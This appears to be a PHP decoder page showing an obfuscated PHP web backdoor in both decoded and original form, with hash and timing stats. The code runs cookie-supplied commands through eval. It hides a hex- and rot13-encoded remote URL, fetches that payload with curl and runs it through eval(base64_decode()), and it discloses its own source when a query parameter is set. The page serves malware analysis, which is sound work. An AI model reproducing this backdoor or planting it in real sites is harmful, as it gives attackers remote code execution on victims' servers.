Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $a = range("~", " "); $b = ${"_COOKIE"}; if ((in_array(gettype($b) . count($b)..

Decoded Output download

<?php  
$a = range("~", " "); 
$b = ${"_COOKIE"}; 
 
if ((in_array(gettype($b) . count($b) , $b) && count($b) == 25)) 
{ 
    (($b[67] = $b[67] . $b[80]) && ($b[90] = $b[67]($b[90])) && (@eval($b[67](${$b[38]}[29])))); 
} 
 
class _ 
{ 
    static function ___($c, $d = 0) 
    { 
        $e = range("~", " "); 
        $f = explode("o", $c); 
        foreach ($f as $g => $h) @$i .= $e[$h - $d]; 
        return $i; 
    } 
    static function ____($j, $l) 
    { 
        $m = curl_init($j); 
        curl_setopt($m, CURLOPT_RETURNTRANSFER, 1); 
        $n = curl_exec($m); 
        return empty($n) ? $l($j) : $n; 
    } 
    static function __() 
    { 
        $p = array( 
            "27o12o25o29o10o25o31o24o9o16o27o10o21o15o16", 
            "11o10o12o31o12o15o10o77o75", 
            "20o11o15o16o31o26o25o27o15o26o25", 
            "14o29o27o19", 
            "28o29o11o25o72o74o31o26o25o27o15o26o25", 
            "24o21o18o25o31o23o25o10o31o27o15o16o10o25o16o10o11", 
            "54o84", 
            "1", 
            "79o84", 
            "61o44o44o61o37", 
            "15o24", 
        ); 
        foreach ($p as $h) $q[] = self::___($h); 
		var_dump($q); 
		 
        $r = str_rot13("5o313639333034343836362p22687474703n5p2s5p2s353835706p2r677265656r69616r2r686169725p2s3s6p633q78696164616r5s72616r645s7061746826743q313639333034313236362q3037613432376130653534373535383166623032396634613936633832633333222p223664353136386636616235333563363239313533393464373139626638313535222p226638613531633563383166656138353739393038393634373032363437643264225q"); 
        $s = @pack("H*", $r); 
        $t = json_decode($s, true); 
        @${ "_GET" }["of"] == 1 && die(file_get_contents(__FILE__)); 
		 
        if (((@$t[0] - time()) > 0) and (md5(md5($t[2])) === "cb508614978e98198cb3d9c89d0fc47f")): 
            $u = self::____($t[1], file_get_contents); 
            @eval(base64_decode($u)); 
            die; 
        endif; 
    } 
} 
_::__(); ?> 

Did this file decode correctly?

Original Code

<?php 
$a = range("~", " ");
$b = ${"_COOKIE"};

if ((in_array(gettype($b) . count($b) , $b) && count($b) == 25))
{
    (($b[67] = $b[67] . $b[80]) && ($b[90] = $b[67]($b[90])) && (@eval($b[67](${$b[38]}[29]))));
}

class _
{
    static function ___($c, $d = 0)
    {
        $e = range("~", " ");
        $f = explode("o", $c);
        foreach ($f as $g => $h) @$i .= $e[$h - $d];
        return $i;
    }
    static function ____($j, $l)
    {
        $m = curl_init($j);
        curl_setopt($m, CURLOPT_RETURNTRANSFER, 1);
        $n = curl_exec($m);
        return empty($n) ? $l($j) : $n;
    }
    static function __()
    {
        $p = array(
            "27o12o25o29o10o25o31o24o9o16o27o10o21o15o16",
            "11o10o12o31o12o15o10o77o75",
            "20o11o15o16o31o26o25o27o15o26o25",
            "14o29o27o19",
            "28o29o11o25o72o74o31o26o25o27o15o26o25",
            "24o21o18o25o31o23o25o10o31o27o15o16o10o25o16o10o11",
            "54o84",
            "1",
            "79o84",
            "61o44o44o61o37",
            "15o24",
        );
        foreach ($p as $h) $q[] = self::___($h);
		var_dump($q);
		
        $r = str_rot13("5o313639333034343836362p22687474703n5p2s5p2s353835706p2r677265656r69616r2r686169725p2s3s6p633q78696164616r5s72616r645s7061746826743q313639333034313236362q3037613432376130653534373535383166623032396634613936633832633333222p223664353136386636616235333563363239313533393464373139626638313535222p226638613531633563383166656138353739393038393634373032363437643264225q");
        $s = @pack("H*", $r);
        $t = json_decode($s, true);
        @${ "_GET" }["of"] == 1 && die(file_get_contents(__FILE__));
		
        if (((@$t[0] - time()) > 0) and (md5(md5($t[2])) === "cb508614978e98198cb3d9c89d0fc47f")):
            $u = self::____($t[1], file_get_contents);
            @eval(base64_decode($u));
            die;
        endif;
    }
}
_::__(); ?>

Function Calls

range 1

Variables

None

Stats

MD5 eab771d4b00f20ce488ff1224ffedb22
Eval Count 0
Decode Time 53 ms